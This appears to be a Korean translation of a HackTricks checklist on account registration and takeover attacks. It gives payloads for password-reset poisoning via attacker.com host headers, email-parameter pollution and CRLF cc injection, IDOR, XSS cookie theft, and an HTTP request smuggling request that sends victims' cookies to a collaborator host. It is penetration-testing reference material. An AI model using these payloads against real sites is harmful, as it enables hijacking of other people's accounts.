Registration & Takeover Vulnerabilities

HackTricks 지원하기

등록 인수

중복 등록

  • 기존 사용자 이름을 사용하여 생성해 보세요.

  • 이메일을 다양하게 변경해 보세요:

  • 대문자

  • +1@

  • 이메일에 점 추가

  • 이메일 이름에 특수 문자 (%00, %09, %20)

  • 이메일 뒤에 검은 문자 추가: test@test.com a

  • victim@gmail.com@attacker.com

  • victim@attacker.com@gmail.com

사용자 이름 열거

애플리케이션 내에서 사용자 이름이 이미 등록되었는지 확인해 보세요.

비밀번호 정책

사용자를 생성할 때 비밀번호 정책을 확인하세요 (약한 비밀번호를 사용할 수 있는지 확인). 이 경우 자격 증명을 무차별 대입해 볼 수 있습니다.

SQL 인젝션

이 페이지를 확인하세요 계정 인수 또는 SQL 인젝션을 통해 정보를 추출하는 방법을 배우세요.

Oauth 인수

OAuth to Account takeover

SAML 취약점

SAML Attacks

이메일 변경

등록 후 이메일을 변경해 보고 이 변경이 올바르게 검증되는지 또는 임의의 이메일로 변경할 수 있는지 확인하세요.

추가 확인 사항

  • 일회용 이메일 사용 가능 여부 확인

  • 비밀번호 (>200)는 DoS로 이어짐

  • 계정 생성에 대한 비율 제한 확인

  • username@burp_collab.net을 사용하고 콜백을 분석하세요.

비밀번호 재설정 인수

참조자를 통한 비밀번호 재설정 토큰 유출

  1. 비밀번호 재설정을 위해 이메일 주소로 요청하세요.

  2. 비밀번호 재설정 링크를 클릭하세요.

  3. 비밀번호를 변경하지 마세요.

  4. 3자 웹사이트(예: Facebook, Twitter)를 클릭하세요.

  5. Burp Suite 프록시에서 요청을 가로채세요.

  6. referer 헤더가 비밀번호 재설정 토큰을 유출하는지 확인하세요.

비밀번호 재설정 중독

  1. Burp Suite에서 비밀번호 재설정 요청을 가로채세요.

  2. Burp Suite에서 다음 헤더를 추가하거나 수정하세요: Host: attacker.com, X-Forwarded-Host: attacker.com

  3. 수정된 헤더로 요청을 전달하세요. http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com

  4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL을 찾으세요: https://attacker.com/reset-password.php?token=TOKEN

이메일 매개변수를 통한 비밀번호 재설정

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. 공격자는 자신의 계정으로 로그인하고 비밀번호 변경 기능으로 이동해야 합니다.

  2. Burp Suite를 시작하고 요청을 가로챕니다.

  3. 반복기 탭으로 보내고 매개변수를 편집합니다: 사용자 ID/이메일 powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다. 토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 다음 변수들이 알고리즘에 사용될 수 있습니다.

  • 타임스탬프

  • 사용자 ID

  • 사용자 이메일

  • 이름과 성

  • 생년월일

  • 암호화

  • 숫자만

  • 작은 토큰 시퀀스 (문자 [A-Z,a-z,0-9] 사이)

  • 토큰 재사용

  • 토큰 만료 날짜

Leaking Password Reset Token

  1. 특정 이메일을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다. 예: test@mail.com

  2. 서버 응답을 검사하고 resetToken을 확인합니다.

  3. 그런 다음 URL에서 토큰을 사용합니다: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. 피해자의 사용자 이름과 동일한 사용자 이름으로 시스템에 등록하되, 사용자 이름 앞뒤에 공백을 삽입합니다. 예: "admin "

  2. 악의적인 사용자 이름으로 비밀번호 재설정을 요청합니다.

  3. 이메일로 전송된 토큰을 사용하여 피해자의 비밀번호를 재설정합니다.

  4. 새 비밀번호로 피해자 계정에 연결합니다.

플랫폼 CTFd는 이 공격에 취약했습니다. 참조: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. 애플리케이션 내에서 XSS를 찾거나 쿠키가 부모 도메인에 범위가 지정된 경우 서브도메인에서 찾습니다: *.domain.com

  2. 현재 세션 쿠키를 유출합니다.

  3. 쿠키를 사용하여 사용자로 인증합니다.

Account Takeover Via HTTP Request Smuggling

1. smuggler를 사용하여 HTTP 요청 밀반입 유형을 감지합니다 (CL, TE, CL.TE) powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h 2. 다음 데이터를 사용하여 POST / HTTP/1.1를 덮어쓸 요청을 작성합니다: GET http://something.burpcollaborator.net HTTP/1.1 X: 피해자를 burpcollab로 리디렉션하고 쿠키를 훔치는 것이 목표입니다. 3. 최종 요청은 다음과 같을 수 있습니다.

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone 보고서에서 이 버그를 악용한 사례 * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666

CSRF를 통한 계정 탈취

  1. CSRF를 위한 페이로드 생성, 예: “비밀번호 변경을 위한 자동 제출 HTML 양식”

  2. 페이로드 전송

JWT를 통한 계정 탈취

JSON 웹 토큰은 사용자를 인증하는 데 사용될 수 있습니다.

  • 다른 사용자 ID / 이메일로 JWT 수정

  • 약한 JWT 서명 확인

JWT Vulnerabilities (Json Web Tokens)

참고 문헌

HackTricks 지원하기

Last updated